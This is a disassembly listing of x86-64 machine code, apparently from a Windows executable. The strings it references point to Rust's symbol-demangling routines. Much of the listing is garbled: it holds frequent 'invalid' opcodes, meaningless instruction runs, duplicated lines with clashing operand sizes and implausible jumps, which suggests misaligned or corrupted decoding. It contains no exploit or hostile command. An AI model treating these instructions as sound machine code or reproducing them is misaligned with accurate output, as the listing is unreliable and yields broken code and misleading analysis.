imul rax, qword [rbp + 0x1d0]
add byte [rax], al
add r8, rax
mov rax, r15
sub rax, r8
and rax, 0xfffffffffffffff8
neg rax
xor r8d, r8d
nop dword [rax]
movups xmm0, xmmword [r12 + r8*4 - 0x14]
adc byte [rsp + rax*4 - 0x14], al
movups xmm1, xmmword [r12 + r8*4 - 4]
movups xmmword [r12 + r8*4], xmm1
movups xmmword [r12 + r8*4 - 0x10], xmm0
add r8, 0xfffffffffffffff8
sar al, 0x4c
cmp eax, eax
sar al, 0x4c
cmp eax, eax
jne 0x1400c9660
cmp r10, rdx
je 0x1400c96a6
sal byte [rcx + riz + 0x49], cl
sub edi, edx
sub r15, rdx
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x75], al
mov ebp, 0x448942a4
mov ebp, 0x478d49a8
dec dword [rcx - 0x77]
mov eax, dword [rbp + r15*4 - 0x5c]
mov dword [rbp + r15*4 - 0x58], eax
lea rax, [r15 - 1]
mov r15, rax
invalid
cmp rax, r9
cmp eax, ecx
ja 0x1400c9690
invalid
invalid
invalid
mov rax, qword [rbp + 0x1f8]
mov dword [rbp + r9*4 - 0x58], eax
cmp r13, qword [rbp + 0x1e0]
je 0x1400c9872
movzx r10d, byte [r13]
mov rax, rcx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
mov r11, qword [rbp + 0x1e8]
je 0x1400c96e5
mov rax, rcx
xor edx, edx
div qword [rbp + 0x1f0]
mov rcx, rax
jmp 0x1400c96f1
mov eax, ecx
xor edx, edx
div dword [rbp + 0x1f0]
add byte [rax], al
add byte [rax], al
mov ecx, eax
mov rsi, qword [rbp + 0x200]
movabs rbx, 0xea0ea0ea0ea0ea0f
mov rax, rcx
or rax, rdi
shr rax, 0x20
invalid
je 0x1400c972a
and byte [rsp + rbx + 0x48], dh
mov eax, ecx
mov rax, rcx
xor edx, edx
div rdi
mov rdx, rax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
add byte [rax], al
add byte [rax], al
jae 0x1400c9741
jmp 0x1400c976a
mov eax, ecx
xor edx, edx
div edi
mov edx, eax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdx + 0x29], dh
add byte [rax], al
jb 0x1400c976a
mov rcx, rdx
mov ecx, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, rcx
mul rbx
shr rdx, 5
add r8, 0x24
cmp rcx, 0x3e57
and al, 0x48
cmp ecx, 0x3e57
mov rcx, rdx
ja 0x1400c9750
inc r9
lea eax, [rdx*4]
lea eax, [rax + rax*8]
add edx, 0x26
mov rcx, rdx
ror dword [rbp + 0x9504], 0
add byte [rbp - 0x3d7c3ffc], cl
mov rcx, rdx
xor edx, edx
div cx
movzx r14d, ax
add r14, r8
add r11, 4
mov qword [rbp + 0x1e8], r11
dec qword [rbp + 0x1d0]
call 0x1880c9796
dec dword [rbp + 0x1d0]
inc rsi
mov qword [rbp + 0x200], rsi
add r12, 4
mov eax, 2
mov qword [rbp + 0x1f0], rax
test eax, esi
add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
add byte [rax], al
invalid
invalid
test eax, esi
add dword [rax], eax
lock add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
cld
invalid
jmp 0x1400c942b
dec dword [rax - 0x75]
test eax, eax
add dword [rax], eax
mov rax, qword [rbp + 0x1c0]
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
add byte [rbx + rcx*4 + 0x70], cl
and byte [rax - 0x75], cl
invalid
mov eax, dword [rax + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, str.punycode_0
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
lea edx, str.punycode_0
lea edx, str.punycode_0
mov r8d, 9
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rsi, rax
call rax
rol byte [rcx - 0x4b], 1
invalid
test al, al
invalid
jne 0x1400c9843
sal byte [rbp + 0x4f], 0x4c
mov eax, dword [rbp + 0x1a8]
invalid
mov r8, qword [rbp + 0x1a8]
add byte [rbp - 0x7b], cl
sal byte [rcx + rbp + 0x4c], 0x89
int1
test r8, r8
test eax, eax
je 0x1400c9829
mov rcx, r14
mov ecx, esi
mov rdx, qword [rbp + 0x1b0]
mov edx, dword [rbp + 0x1b0]
mov rdi, rsi
call rsi
test al, al
jne 0x1400c9843
lea rdx, [0x140144019]
mov r8d, 1
mov rcx, r14
call rdi
xlatb
xlatb
test al, al
jne 0x1400c9843
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
add byte [rax], al
mov r8, qword [rbp + 0x1b8]
mov eax, dword [rbp + 0x1b8]
mov rdi, rsi
call rsi
test al, al
je 0x1400c985a
mov eax, r13d
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdx, [0x140149c0b]
mov r8d, 1
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
mov rax, rdi
jmp 0x1400c93a8
lea rsi, [rbp + 0x1dc]
mov rdi, qword [rbp + 0x1c0]
lea rbx, [rbp - 0x58]
lea ebx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
nop dword [rax + rax]
mov eax, dword [rbx]
mov dword [rbp + 0x1dc], eax
fadd qword [rcx]
add byte [rax], al
mov rcx, rsi
add ecx, dword [rcx + 0x1dc85]
add byte [rax - 0x77], cl
int1
mov rdx, rdi
call fcn.140018160
hlt
inc dword [rcx - 0x77]
invalid
test al, al
jne 0x1400c9843
add rbx, 4
add r14, 0xfffffffffffffffc
jne 0x1400c9890
jmp 0x1400c9843
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
add byte [rax], 0
add byte [rcx + rcx*4 - 0x37], cl
leave
cmpsd dword [rsi], dword [rdi]
invalid
add byte [rax], 0
add byte [rcx + rcx*4 - 0x37], cl
leave
leave
call fcn.1401082d0
int3
mov rbp, rsp
mov rax, qword [rcx + 0x10]
cmp rax, qword [rcx + 8]
jae case.0x140092c4a.254
mov rdx, qword [rcx]
movzx edx, byte [rdx + rax]
add cl, byte [rax - 1]
ror byte [rax - 0x77], 0x41
adc byte [r13 + 0x1a3cbf42], cl
add cl, byte [rax - 1]
ror byte [rax - 0x77], 0x41
adc byte [r13 + 0x1a3cbf42], cl
jae 0x1400c990a
shl rdx, 0x20
loop 0x1400c9917
xor eax, eax
or rax, rdx
pop rbp
ret
mov eax, 1
xor edx, edx
or rax, rdx
pop rbp
ret
add dl, 0x85
xor ecx, ecx
leave
xor eax, eax
cmp dl, 0xe6
setb al
rol byte [rax - 0x6df01906], 0xc0
movabs rdx, 0x11000000000000
cmovb rdx, rcx
or rax, rdx
or eax, edx
add byte [rax + 0xf], cl
ror dword [rax + 9], 1
or eax, edx
pop rbp
ret
int3
or eax, edx
pop rbp
ret
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x3f], r9b
ror dword [rdi], 0x83
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1c
jae 0x1400c99f1
movzx ebx, byte [rax + rcx]
lea rdx, [rcx + 1]
mov qword [rsi + 0x10], rdx
or byte [rax - 0x73], cl
push rcx
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lea r9d, [rbx - 0x61]
lea r9d, [rbx - 0x61]
cmp r9b, 0x19
ja 0x1400c9987
movzx r9d, r9b
movzx ecx, cl
mov r10d, 0x3bcfbbf
bt r10d, r9d
add eax, dword [rbp + 0xf]
movabs dword [0x4400000159820fca], eax
jb 0x1400c9ae0
mov r9d, dword [rsi + 0x18]
jb 0x1400c9ae0
add byte [rbx + rcx*4 + 0x4e], al
sbb byte [rcx - 1], al
mov r9d, dword [rsi + 0x18]
sbb byte [rcx - 1], r8b
inc r9d
mov dword [rsi + 0x18], r9d
rol dword [rcx + rcx*4 + 0x4e], 0x18
cmp r9d, 0x1f4
jbe 0x1400c9a2b
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
leave
leave
je 0x1400c99c1
lea rdx, [0x1401441f8]
adc eax, 0x7a849
mov r8d, 0x19
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c9a20
mov qword [rsi], 0
mov dword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
jmp 0x1400c9a1e
test ecx, ecx
je 0x1400c9a1e
lea rdx, [0x140144211]
lea edx, [0x140144211]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x38
add esp, 0x38
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013870
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9a13
sbb dword [rax - 0x73], ecx
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
adc eax, 0x7a7e7
mov r8d, 0x10
call fcn.140013870
sahf
hlt
inc dword [rax - 0x49]
invalid
test al, al
jne 0x1400c9a20
sahf
sahf
hlt
sal byte [rbp + 0xd], 0x48
mov dword [rsi], 0
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
movzx r9d, bl
add r9d, 0xffffffbf
cmp r9d, 0x13
stc
adc ecx, dword [rdi]
invalid
invalid
add dword [rax], eax
invalid
retf
stc
adc ecx, dword [rdi]
xchg dword [rax + 0x4c000001], esp
movabs al, byte [0xe610158d4c000001]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x15], cl
adc dh, ah
or al, byte [rax]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x15], cl
lea r10, [0x140178054]
adc dh, ah
out 0xa, al
add byte [rdi + 0x63], cl
or al, 0x8a
invalid
or al, byte [rax]
movsxd r9, dword [r10 + r9*4]
mov cl, byte [rbp + 1]
rol dword [rcx - 1], 1
jmp r9
invalid
add r9, r10
add ecx, edx
jmp r9
mov ecx, dword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x1400c9a70
sbb dword [rax - 0x73], ecx
adc eax, 0xa874a
or al, byte [rax]
lea rdx, [0x1401721a8]
or al, byte [rax]
mov r8d, 1
mov eax, 1
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c9a20
invalid
mov rcx, rsi
call fcn.1400c9930
mov eax, 0x40fffffe
mov bh, 1
mov eax, 0x40fffffe
mov bh, 1
invalid
test al, al
jne 0x1400c9a20
cmp bl, 0x41
jne 0x1400c9abc
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140068ed1.455
invalid
lea rdx, [0x140144239]
mov r8d, 2
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
invalid
add byte [rax], al
add al, ch
rcr dword [rbp - 0x3f7b000c], 1
add byte [rax], al
call fcn.140013870
test al, al
jne 0x1400c9a20
invalid
mov dil, 1
mov bh, 1
mov rcx, rsi
int1
mov dl, 1
call fcn.1400ca030
add byte [rax], al
add byte [rax], al
test al, al
ror byte [rdi], 0x85
invalid
jne 0x1400c9a20
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400c9e11
test byte [rax + 3], cl
add byte [rax], al
invalid
add rax, qword [rax]
add byte [rax - 0x73], cl
adc eax, 0xa86d9
or al, byte [rax]
lea rdx, [0x1401721a9]
or al, byte [rax]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add al, ch
xchg ebp, eax
call fcn.140013870
jmp 0x1400c9e06
add eax, dword [rax]
invalid
popfq
hlt
add eax, dword [rax]
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
test ecx, ecx
je 0x1400c9a1e
dec dword [rax - 0x73]
add eax, 0x7a9ac
invalid
invalid
invalid
lea rax, [0x1401444a0]
test eax, 0x8b4a0007
adc al, 0xc8
invalid
mov rdx, qword [rax + r9*8]
enter 0xffffffffffff8d48, 5
shr dword [rax - 0x74b1fff9], 1
invalid
lea rax, [0x1401443d0]
lea eax, [0x1401443d0]
mov r8, qword [rax + r9*8]
mov eax, dword [rax + rcx*8]
add al, 0xc8
enter 0xffffffffffffdce9, 0xfffffffffffffffe
jmp 0x1400c99e4
fdiv st(6), st(0)
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x14005cd83.446
lea rdx, [0x140143ec4]
movabs dword [0x1b8410007], eax
invalid
mov r8d, 1
mov eax, 1
call fcn.140013870
mov dil, 1
mov bh, 1
hlt
inc dword [rax - 0x49]
mov bh, 1
add dword [rax + rax*8 - 0x10d7af1], eax
test al, al
ror byte [rdi], 0x85
invalid
jne 0x1400c9a20
invalid
mov rax, qword [rsi]
test rax, rax
je case.0x14009662c.252
invalid
add byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 8]
mov eax, dword [rsi + 8]
or byte [rax - 0x75], r9b
or byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x10]
push rsi
adc byte [rcx + rdi - 0x3e], cl
cmp rdx, r8
cmp rdx, r8
jae case.0x14009662c.252
mov byte [rdx], al
add byte [rax], al
cmp byte [rax + rdx], 0x4c
jne case.0x14009662c.252
jle 0x1400c9b55
add byte [rax], al
cmp al, 0x10
jne case.0x14009662c.252
jle 0x1400c9b55
add byte [rax], al
adc byte [rdi + rcx - 0x7b], cl
jle 0x1400c9b55
add byte [rax], al
inc rdx
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
mov dword [rsi + 0x10], edx
push rsi
adc byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea rcx, [rbp - 8]
mov rdx, rsi
call fcn.1400cc700
add byte [rax], al
cmp byte [rbp - 8], 0
jge 0x1400c9b63
add byte [rdi], cl
test byte [rdx], ah
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x5d
je 0x1400c9d94
movzx ebx, byte [rbp - 7]
stc
mov rcx, qword [rsi + 0x20]
and byte [rbx + r11*8 + 0x2a1840f], r8b
add byte [rax], al
invalid
test bl, bl
je 0x1400c9e23
invalid
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400c9e45
lea rdx, [0x1401441f8]
lea edx, [0x1401441f8]
adc eax, 0x7a666
mov r8d, 0x19
jmp case.0x1400a4d60.201
cwde
add al, byte [rax]
add byte [rax], al
cwde
add al, byte [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
test ecx, ecx
je 0x1400c9d42
lea rdx, [0x14014a4d0]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add al, ch
mov ah, 0x9c
hlt
call fcn.140013870
mov dil, 1
test al, al
ror byte [rdi], 0x85
pop rcx
invalid
invalid
invalid
ror byte [rdi], 0x85
pop rcx
invalid
invalid
mov rcx, qword [rsi + 0x20]
jmp 0x1400c9d44
call fcn.1400cc560
jmp 0x1400c9e06
mov qword [rsi + 0x10], rcx
mov rcx, rsi
mov ecx, esi
xor edx, edx
call fcn.1400c8660
jmp 0x1400c9e06
invalid
add al, byte [rax]
invalid
shr al, cl
jne 0x1400c9bd3
invalid
invalid
and byte [rax - 0x7b], r9b
leave
je case.0x1400c4036.56
lea rdx, [0x14014423b]
lea edx, [0x14014423b]
adc eax, 0x7a63b
mov r8d, 4
mov eax, 4
call fcn.140013870
mov dil, 1
invalid
hlt
mov bh, 1
add dword [rax + rax*8 - 0x1f57af1], eax
invalid
test al, al
jne 0x1400c9a20
mov rcx, rsi
call fcn.1400cc860
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x2087af1], eax
std
invalid
invalid
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x2087af1], eax
std
std
invalid
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400c9d68
xor eax, dword [rcx]
add byte [rax], al
xor eax, dword [rcx]
add byte [rax], al
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
invalid
or byte [rdi], cl
and dword [0xc00c9c46], 0x3c
add dword [rdi + rcx - 0x7b], ecx
jae 0x1400c9d68
add byte [rax + 0xf4c013c], al
test dword [rbx], ebx
sbb eax, dword [rcx]
add byte [rax], al
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rbp - 8]
cmp byte [rcx + rax], 0x4c
jne 0x1400c9d68
sbb eax, dword [rcx]
add byte [rax], al
sbb eax, dword [rcx]
add byte [rax], al
inc rax
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
lea rcx, [rbp - 8]
mov rdx, rsi
call fcn.1400cc700
cmp byte [rbp - 8], 0
jne 0x1400c9b72
mov rbx, qword [rbp]
test rbx, rbx
je 0x1400c9e11
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rdx + 0x48000001], bl
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140079503.360
lea rdx, [0x14014423f]
lea edx, [0x14014423f]
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 3
add byte [rax], al
add al, ch
ficomp word [rbx - 0x3f7b000c]
invalid
test al, al
call fcn.140013870
test al, al
inc dword [rax + rax*8 - 0x2797af1]
invalid
jne 0x1400c9a20
test dword [rsi + 0x48fffffd], eax
mov rcx, rsi
mov ecx, esi
mov rdx, rbx
call fcn.1400ca700
pop rbx
or al, byte [rax]
add cl, ch
pop rdi
add dword [rax], eax
invalid
pop rbx
or al, byte [rax]
add cl, ch
pop rdi
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test ecx, ecx
test ecx, ecx
je case.0x1400733a2.384
lea rdx, [0x140143ec1]
mov r8d, 1
add byte [rax], al
add al, ch
stosd dword [rdi], eax
wait
hlt
invalid
invalid
add byte [rax], al
add al, ch
stosd dword [rdi], eax
wait
hlt
mov dil, 1
test al, al
jne 0x1400c9a20
mov rcx, rsi
call fcn.1400cc7c0
mov dil, 1
mov bh, 1
mov bh, 1
test rax, rax
jne 0x1400c9a20
test dword [rdi*8 - 0x7cb70001], edi
cli
add dword [rbp + 0x27], esi
cmp rdx, 1
jne 0x1400c9d11
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x1400c9e11
sbb al, byte [rcx]
add byte [rax], al
lea rdx, [0x140143ec0]
mov r8d, 1
call fcn.140013870
add al, ch
wait
hlt
test al, al
jne 0x1400c9a20
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9e11
lea rdx, [0x14014d458]
or byte [rax], al
mov r8d, 1
call fcn.140013870
wait
hlt
invalid
jmp 0x1400c9e09
wait
hlt
xor ecx, ecx
cmp bl, 0x50
jne 0x1400c9ddc
test rcx, rcx
je case.0x140091ebb.271
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7a4d6
lea rdx, [0x140144233]
mov r8d, 6
jmp 0x1400c9dee
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x1400c9a13
cld
invalid
invalid
cld
invalid
dec dword [rax - 0x73]
adc eax, 0x7a46c
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
add al, ch
jmp 0xc50c9222
call fcn.140013870
test al, al
je 0x1400c9a13
invalid
jmp 0x1400c9a20
invalid
mov rdx, qword [rbp]
test rdx, rdx
je case.0x14009662c.252
mov rcx, rsi
call fcn.1400ca700
pop rbx
or dword [rax], eax
add byte [rax - 0x49], al
invalid
test al, al
pop rbx
or dword [rax], eax
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x38f7af1], eax
invalid
test dword [rax - 4], esi
jne 0x1400c9a20
cld
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x14009662c.252
lea rdx, [0x14014422e]
mov r8d, 1
mov eax, 1
invalid
add dword [rax], eax
add byte [rax], al
call fcn.140013870
test al, al
jne 0x1400c9a20
invalid
invalid
cmp bl, 0x52
je case.0x140091ebb.271
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140091ebb.271
lea rdx, [0x14014422f]
adc eax, 0x7a447
mov r8d, 4
mov eax, 4
call fcn.140013870
mov dil, 1
mov bh, 1
mov bh, 1
test al, al
jne 0x1400c9a20
mov rcx, rsi
call fcn.1400c9930
sti
invalid
invalid
sti
invalid
mov dil, 1
test al, al
jne 0x1400c9a20
paddb mm7, mm7
invalid
paddb mm7, mm7
dec dword [rax - 0x7d]
add byte ds:[rdi], cl
test byte [rbx], al
cmp qword [rsi], 0
je 0x1400c9a1e
cld
invalid
sbb cl, r13b
sti
sti
invalid
jmp 0x1400c9a1e
test rcx, rcx
je 0x1400c9e45
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
invalid
call fcn.140013870
mov dil, 1
invalid
add dword [rax + rax*8 - 0x4247af1], eax
invalid
test al, al
jne 0x1400c9a20
sti
invalid
invalid
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], bl
jmp 0x1400c9a1e
sti
invalid
invalid
or cl, ch
retf 0xfffb
sti
invalid
invalid
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov rax, qword [rcx]
test rax, rax
je 0x1400c9ed7
invalid
invalid
mov rdi, rcx
xor esi, esi
lea rbx, [0x140144219]
lea ebx, [0x140144219]
xor r14d, r14d
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x1400c9ea0
mov rcx, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x1400c9ea0
cmp byte [rax + rcx], 0x45
je case.0x1400a9339.181
cmp al, 8
je case.0x1400a9339.181
sub r14, 1
sub esi, 1
jb 0x1400c9ec1
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
and byte [r8 - 0x7b], r9b
leave
test rcx, rcx
je 0x1400c9ec1
mov r8d, 2
mov rdx, rbx
call fcn.140013870
test al, al
jne 0x1400c9edb
mov rcx, rdi
call fcn.1400c9f00
test al, al
jne 0x1400c9edb
invalid
mov rax, qword [rdi]
test rax, rax
invalid
jne 0x1400c9e90
sal byte [rbp - 0x45], 0xeb
adc al, 0x31
imul bl
adc byte [rsi + 1], bh
add byte [rax], al
add byte [rax], al
jmp 0x1400c9eeb
xor esi, esi
jmp 0x1400c9eeb
mov esi, 1
add byte [rax], al
jmp 0x1400c9eeb
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
adc byte [rcx], dh
test byte [rax - 0x77], 0xf0
mov eax, esi
invalid
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
lea ebp, [rsp + 0x20]
and byte [rbx + rcx*4 + 1], cl
mov r8, qword [rcx]
test r8, r8
je 0x1400c9f5f
mov r9, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
adc byte [r9 + rdi - 0x38], cl
adc byte [r9 + rdi - 0x38], cl
enter 0x3f73, 0x41
movzx edx, byte [rax + rax]
mov dh, 0x14
invalid
jae 0x1400c9f5f
movzx edx, byte [r8 + rax]
mov dh, 0x14
add byte [rbx + 0x41744bfa], al
cmp edx, 0x4b
je 0x1400c9f6b
cmp edx, 0x4b
je 0x1400c9f6b
cmp edx, 0x4c
jne 0x1400c9f5f
lea r10, [rax + 1]
mov qword [rcx + 0x10], r10
invalid
adc byte [rbp + 0x39], cl
retf 0x830f
cmp r10, r9
jae 0x1400c9feb
cmp byte [r8 + r10], 0x5f
jne 0x1400c9f7f
add rax, 2
mov qword [rcx + 0x10], rax
xor eax, eax
mov rdx, rax
add rsp, 0x28
pop rsi
pop rbp
jmp fcn.1400ca700
invalid
invalid
add byte [rax], al
movabs eax, dword [0x28c4834890000007]
nop
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
jmp fcn.1400c9930
inc rax
mov qword [rcx + 0x10], rax
xor edx, edx
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rsi
pop rbp
jmp fcn.1400ca030
add byte [rax], al
add byte [rax], al
xor eax, eax
mov r11d, 0x3e
add byte [rax], al
add byte [rax], al
nop word [rax + rax]
movzx edx, byte [r8 + r10]
movzx edx, byte [rax + rdx]
cmp dl, 0x5f
cli
pop rdi
je 0x1400c9fdb
lea esi, [rdx - 0x30]
cmp sil, 0xa
jb 0x1400c9fbf
sbb al, 0x8d
jb 0x1400c9f45
lahf
lahf
cmp sil, 0x1a
jae 0x1400c9fb1
add dl, 0xa9
jmp 0x1400c9fbd
lea esi, [rdx - 0x41]
cmp sil, 0x1a
cmp dh, 0x1a
invalid
jae 0x1400c9feb
add dl, 0xe3
jrcxz case.0x1400aa99b.159
mov esi, edx
inc r10
ret 0x894c
push rcx
adc byte [rcx - 9], cl
invalid
invalid
ret 0x894c
adc byte [rcx - 9], cl
jrcxz 0x1400ca03a
mul ebx
jo 0x1400c9feb
and byte [rax + 0xf], al
mov dh, 0xd6
movzx edx, sil
movzx edx, dh
add rax, rdx
jb 0x1400c9feb
cmp r10, r9
cmp edx, ecx
jb 0x1400c9f90
jmp 0x1400c9feb
inc r10
mov qword [rcx + 0x10], r10
push rcx
adc byte [rax - 1], cl
inc eax
push rcx
adc byte [rax - 1], cl
inc eax
invalid
invalid
invalid
inc eax
jne case.0x1400a91d6.193
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400ca017
in eax, dx
movabs eax, dword [0x10b8410007]
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov rsi, rcx
mov esi, ecx
mov rcx, rax
mov ecx, eax
call fcn.140013870
mov rcx, rsi
mov edx, eax
invalid
ret 0x1b0
mov al, 1
test dl, dl
jne 0x1400ca024
mov qword [rcx], 0
mov byte [rcx + 8], 0
or byte [rax], al
or byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
xor eax, eax
add rsp, 0x28
pop rsi
pop rbp
invalid
sub byte [rsi + 0x5d], bl
ret
push rsi
push rdi
push rbx
sub rsp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
invalid
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
invalid
xor byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov r8, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
add dword [rbp - 0x7b], ecx
test r8, r8
ror byte [rdi], 0x84
sahf
add al, 0
je 0x1400ca4ea
add byte [rbx + rcx*4 + 0x56], cl
or byte [rax - 0x75], cl
invalid
invalid
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
adc byte [rcx + r15 - 0x2f], r9b
cmp rcx, r10
ror dword [rdi], 1
and dword [rdi - 0x76ffffff], 0xffffffd0
add byte [rax], al
mov eax, edx
jae case.0x1400ca0d6.2
add byte [rax], al
mov eax, edx
movzx edx, byte [r8 + rcx]
movzx edx, byte [rax + rcx]
mov dh, 0x14
or byte [rbp + rcx*4 + 0x49], cl
lea ecx, [rcx + 1]
invalid
invalid
invalid
lea r9, [rcx + 1]
lea ecx, [rcx + 1]
add qword [r9 + rcx*4 + 0x4e], rcx
mov qword [rsi + 0x10], r9
mov r11d, dword [rsi + 0x18]
inc r11d
mov dword [rsi + 0x18], r11d
mov dword [rsi + 0x18], ebx
adc byte [rbx + rcx*4 + 0x5e], al
sbb byte [rcx - 1], al
ret
mov dword [rsi + 0x18], ebx
pop rsi
sbb byte [rcx - 0x7f], al
sti
hlt
cmp r11d, 0x1f4
jbe 0x1400ca0b6
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400ca0a6
lea rdx, [0x1401441f8]
mov r8d, 0x19
invalid
push 0x410007a1
mov eax, 0x19
invalid
add al, ch
invalid
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400ca50f
add byte [rax - 0x39], cl
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
invalid
or byte [rcx], al
jmp 0x1400ca50d
movzx r11d, dl
add r11d, 0xffffffbf
cmp r11d, 0x38
ret
ja case.0x1400ca0d6.2
add dword [rax], eax
add byte [rax - 0x73], cl
lea edi, [0x1401780a4]
lea rdi, [0x1401780a4]
lea edi, [0x1401780a4]
